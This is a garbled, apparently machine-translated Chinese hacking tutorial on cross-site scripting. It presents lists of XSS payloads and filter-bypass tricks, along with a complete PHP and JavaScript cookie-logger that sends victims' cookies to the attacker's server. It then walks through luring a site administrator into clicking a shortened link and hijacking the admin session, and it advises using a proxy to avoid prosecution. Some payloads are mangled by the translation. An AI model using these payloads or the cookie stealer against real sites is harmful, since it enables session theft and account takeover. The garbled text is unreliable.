http://www.shellsec.com/tech/196192.html
什么是XSS ?
跨站点脚本XSS代表。它基本上是一个攻击,那是用来执行HTML和JavaScript的Web页面。这种攻击可以通过提交查询到文本框,甚至到URL 。结果回来阅读的文本为HTML ,所以它执行的脚本,而不是显示在纯文本。 XSS攻击,你可以从一个网络管理员窃取cookie ,甚至使用一些社会工程学来操纵别人下载你已经创建了一个病毒。如僵尸网络或大鼠,也许甚至是按键记录器的XSS攻击可以是非常危险的,但也可以是非常温和的。我的大部分攻击是温和的XSS攻击,即可以对网站很难使用。有很多方法可以使用XSS来你的优势。我将仅举几例。您可以使用一个警告框来宣传自己,或提醒网络管理员,你已经发现了一个安全漏洞,涉及XSS 。您还可以设置一个Cookie-Stealer/Logger 。什么,你可以用HTML ,可以用来对付这种攻击的网站。我将解释一些与XSS相关的最重要的方面。
什么是HTML和JavaScript ?
HTML
HTML是一种编程语言,有点像。一种编程语言和HTML之间的区别是不太远。它们是两种语言,用于创建属性和事件。 HTML是一种标记语言,它主要用来创建网站。 HTML是超文本标记语言。您可以使用HTML来创建窗体,按钮,和其他的东西,可以用来在网页中。我很怀疑你永远不会遇到不包含一个网站,甚至有少量的HTML 。
JAVASCRIPT
现在,首先,让我们弄清楚一件事。 Java和JavaScript之间存在着巨大的差异。 Java中,是一种语言,重新组合的C + + ,它可以在游戏中使用,应用程序。 JavaScript是那种类似HTML,但肯定在许多方面不同。 JavaScript没有使用比HTML是网页中的几乎一样多。使用JavaScript ,更多的应用程序以外的网页。 PDF文件一样。随着HTML , JavaScript可以是一个令人难以置信的有用的语言。他们都是相当简单的学习,是非常动态的。
XSS :我的第一次进攻。
现在,让我们开始进入真正的好东西。在本节中,我将解释如何使用XSS来你的优势。我们也将推出我们的第一个攻击XSS ,如果你知道的基本知识, XSS攻击,你可以跳过这一节,因为我怀疑你会学到什么东西,你不知道简要。
现在,我们的第一步,显然是要找到一个易受攻击的网站。寻找一个网站容易受到XSS容易SQLI比找到一个网站是一个容易得多。问题是,它可能需要一段时间来判断网站是否真的是脆弱的。 SQLI ,你可以只添加一点点’ 。但XSS ,你必须提交多个查询(有时) ,测试你的网站的XSS 。
最脆弱的网站将包含一个搜索,登录或注册。几乎任何地方,包含一个文本框,可以利用XSS 。然而,很多人忘记了这个事实,从来没有用它来充分发挥其潜力,是因为他们认为它是无用的。您可以利用XSS通过源,以及,你不能只是采取任何脚本,编辑完整的东西。但编辑“ 事件”的剧本,是绝对是个例外。我会解释的XSS这种方法以后,现在,我们需要完整的基础。
不管怎么说,我们的网站应该有一些文本框输入一些HTML进来,我将简单地使用一个搜索栏。
所以,让我们尝试把所有的时间最知名的,基本的查询。
那个小脚本,HTML。它将使弹出一个小的消息,说:“XSS”。您可以编辑的那部分,如果你喜欢。只要不修改任何其他部分的脚本。
它放入你的搜索栏,然后按Enter。现在,如果一个小弹出警告框,你已经成功地袭击了一个网站容易受到XSS!
如果没有框弹出,这是正常的,因为这意味着该网站已经采取了一些时间,把过滤器。
过滤器,当我们搜索的东西,那么它通过一个微型的过程,基本上检查。它会检查任何恶意(危险)的东西。
在这种情况下,它会寻找XSS。有时,这些过滤器是非常薄弱的,可以很容易通过,其他时间,他们可以是相当难以绕过。
现在有很多的方法来绕过XSS过滤器。首先,我们必须找出什么样的过滤器阻塞。很多的时候,它挡住了警报。
这种过滤器下面是一个例子:
>
- <script>alert( > XSS DETECTED < )</script>
复制代码
这将阻止报警。那么,到底如何,我们获得通过呢?
嗯,幸好有一个完整的邮件进行加密的方法。
我们将使用一个小功能称为“”。
它的名字几乎可以解释这一切。加密我们的文字,转换成ASCII。
这种加密的一个例子,是这样的:
是的,它可以是一个有点混乱,但一点点的解释和测试,是很简单的。
下面是我们完整的查询将是什么样子:
- <script>alert((88,83,83))</script>
复制代码
你不需要任何这样的简单查询报价。因此,让我们在搜索栏中放回来,瞧!它的工作!我们得到了一个警告框,说“XSS”!如果你仍然没有得到任何警告框,尝试一些我喜欢使用这些查询:
- "><script>alert("XSS")</script>
- "><script>alert((88,83,83))</script>
- ‘><script>alert("XSS")</script>
- ‘><script>alert((88,83,83))</script>
- <ScRIPt>aLeRT("XSS")</ScRIPt>
- <ScRIPt<aLeRT((88,83,83))</ScRIPt>
- "><ScRIPt>aLeRT("XSS")</ScRIPt>
- "><ScRIPt<aLeRT((88,83,83))</ScRIPt>
- ‘><ScRIPt>aLeRT("XSS")</ScRIPt>
- ‘><ScRIPt<aLeRT((88,83,83))</ScRIPt>
- </script><script>alert("XSS")</script>
- </script><script>alert((88,83,83))</script>
- "/><script>alert("XSS")</script>
- "/><script>alert((88,83,83))</script>
- ‘/><script>alert("XSS")</script>
- ‘/><script>alert((88,83,83))</script>
- </SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT>
- </SCRIPT>"><SCRIPT>alert((88,83,83))
- </SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT>
- </SCRIPT>">’><SCRIPT>alert((88,83,83))</SCRIPT>
- ";alert("XSS");"
- ";alert((88,83,83));"
- ‘;alert("XSS");’
- ‘;alert((88,83,83));’
- ";alert("XSS")
- ";alert((88,83,83))
- ‘;alert("XSS")
- ‘;alert((88,83,83))
复制代码
是的,我只是写了所有这些,它需要较长的时间比它应该,但他们都以自己的方式工作,所以因为他们中的许多,你可以试试。我攻击一些这些查询一些相当巨大的网站。创建我自己的查询有时,你应该创建一些,他们也可以派上用场了很多。
XSS:先进的方法
现在,在本节中,我将分享一些方法来对网站的恶意使用XSS。现在,请记住所有的恶意攻击发送过来的系统,网站或服务器,是非法的,这些行动可以被起诉。所以如果你打算做一些恶意的网站始终使用保护。如果你想做出一点警告框弹出,你不应该需要一个代理/ VPN。
cookie窃取/记录
现在,饼干偷窃是最恶意的事情,我们可以用非持久性XSS。一个cookie窃取/记录仪,会记录用户访问某个文件的页面的饼干。做到这一点,最简单的方式将分为三个步骤。
首先,你应该设置一个站点。就个人而言,我觉得
现在,一旦你创建了自己的网站,去到的文件管理器。创建一个新的文件。调用它“CookieLog.txt”。离开码坯。现在,创建另一个文件后,称为“CookieLogger.php”。在CookieLogger.php,我们需要添加一些代码,所以它发送的cookie,我们登录到我们的Cookie日志。将此代码,把它(只要确保文件名中有PHP的,否则它不会运行PHP代码(这是一个巨大的问题))。
-
- <?php/*
- * Created on 16. april. 2007
- * Created by Audun Larsen (audun@munio.no)
- *
- * Copyright 2006 Munio IT, Audun Larsen
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES,
- * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
- * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
- * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
- * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
- * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
- * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
- if(strlen($$$$_SERVER[‘QUERY_STRING’]) > 0) {
- $$$$fp=fopen(‘./CookieLog.txt’, ‘a’);
- fwrite($$$$fp, urldecode($$$$_SERVER[‘QUERY_STRING’])."/n");
- fclose($$$$fp);
- } else {
- ?>
-
- var ownUrl = ‘http://<?php echo $$$$_SERVER[‘HTTP_HOST’]; ?><?php echo $$$$_SERVER[‘PHP_SELF’]; ?>';
-
- // ==
- // URLEncode and URLDecode functions
- //
- // Copyright Albion Research Ltd. 2002
- // http://www.albionresearch.com/
- //
- // You may copy these functions providing that
- // (a) you leave this copyright notice intact, and
- // ( if you use these functions on a publicly accessible
- // web site you include a credit somewhere on the web site
- // with a link back to http://www.albionresearch.com/
- //
- // If you find or fix any bugs, please let us know at albionresearch.com
- //
- // SpecialThanks to Neelesh Thakur for being the first to
- // report a bug in URLDecode() – now fixed 2003-02-19.
- // And thanks to everyone else who has provided comments and suggestions.
- // ==
- function URLEncode(str)
- {
- // The Javascript escape and unescape functions do not correspond
- // with what browsers actually do…
- var SAFECHARS = "0123456789" + // Numeric
- "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // Alphabetic
- "abcdefghijklmnopqrstuvwxyz" +
- "-_.!~*'()"; // RFC2396 Mark characters
- var HEX = "0123456789ABCDEF";
-
- var plaintext = str;
- var encoded = "";
- for (var i = 0; i < plaintext.length; i++ ) {
- var ch = plaintext.charAt(i);
- if (ch == " ") {
- encoded += "+"; // x-www-urlencoded, rather than %20
- } else if (SAFECHARS.indexOf(ch) != -1) {
- encoded += ch;
- } else {
- var charCode = ch.charCodeAt(0);
- if (charCode > 255) {
- alert( "Unicode Character ‘"
- + ch
- + "’ cannot be encoded using standard URL encoding./n" +
- "(URL encoding only supports 8-bit characters.)/n" +
- "A space (+) will be substituted." );
- encoded += "+";
- } else {
- encoded += "%";
- encoded += HEX.charAt((charCode >> 4) & 0xF);
- encoded += HEX.charAt(charCode & 0xF);
- }
- }
- } // for
-
- return encoded;
- };
-
- cookie = URLEncode(document.cookie);
- html = ‘<img src="’+ownUrl+’?’+cookie+’">';
- document.write(html);
-
- < ?php
- }
- ?>
复制代码
现在,我们有我们的Cookie记录器脚本,我们可以给我们最好的朋友,网络管理员发送的cookie记录器。要做到这一点,我们也许应该微小的URL 。或者,如果你能弄清楚如何恶搞URL ,也能工作。
到指定网站去。
只是在URL中。但是且慢,我们需要添加到我们的XSS漏洞的脚本。这是脚本,将开始我们的Cookie记录。
所以只需添加脚本的URL之后,然后微小,并将其发送到我们的网站管理员,现在可以花一些时间帮助实际点击它。有时,管理员不会点击它,所以如果时间太长,你应该放弃,并找到另一种方式来利用它。
一旦你得到的cookie ,你可以使用“ Cookie管理器”火狐插件来操纵和编辑的饼干,让你可以劫持管理员会话。我觉得Cookie管理器非常有用的应用程序的XSS ,确保下载它。
XSS筛选器绕过技术
有时候,一个简单的XSS查询就不会做的伎俩。你的查询没有工作的原因,是因为该网站有一个WAF或滤波器组到位。过滤器将阻止尽可能尽可能多XSS和SQLI查询。在这种情况下,我们正在处理,防止XSS 。
绕过XSS过滤器的方法有很多,但我只会解释几句。
六角旁路
随着封锁的字符,如> , <, / ,它是相当困难的来执行XSS查询。不用担心,总有一个解决方案,你可以改变你的角色,成六角。一个十六进制的某些字符,基本上是字符,但在不同的格式。这些应该帮助你
> = %3c
< = %3c
/ = %2f
ASCII旁路
使用一个ASCII加密,我们可以使用的字符“被封锁颇有几分,这是其中一个最常见的XSS筛选器绕过所有的时间,你将需要加密的脚本,将看起来像这样:
不工作脚本
- <script>alert("XSS")</script>
复制代码
工作脚本
- <script>alert((88,83,83))</script>
复制代码
要加密你的小脚本的一部分,去这个网站:
- http://www.wocares.com/noquote.php
复制代码
我使用该网站,发现它非常有用。
绕过区分大小写
这种旁路作品很少,但它总是值得一试。然而,在地方设置一些过滤器,来检测某些字符串,过滤器的字符串被封锁是区分大小写的。
所以我们需要做的,是执行一个脚本,用不同尺寸的字符。
这旁路,将看起来像这样:
- <ScRiPt>aLeRt("XSS")</ScRiPt>
复制代码
您还可以混合使用ASCII加密,如果你喜欢。这种旁路仅适用于真正愚蠢的过滤器,或真的旧。
一些XSS Dorks“
它通常是最好的创建/找到自己的dorks,但在本教程中,我会写一些了真正的快速分享: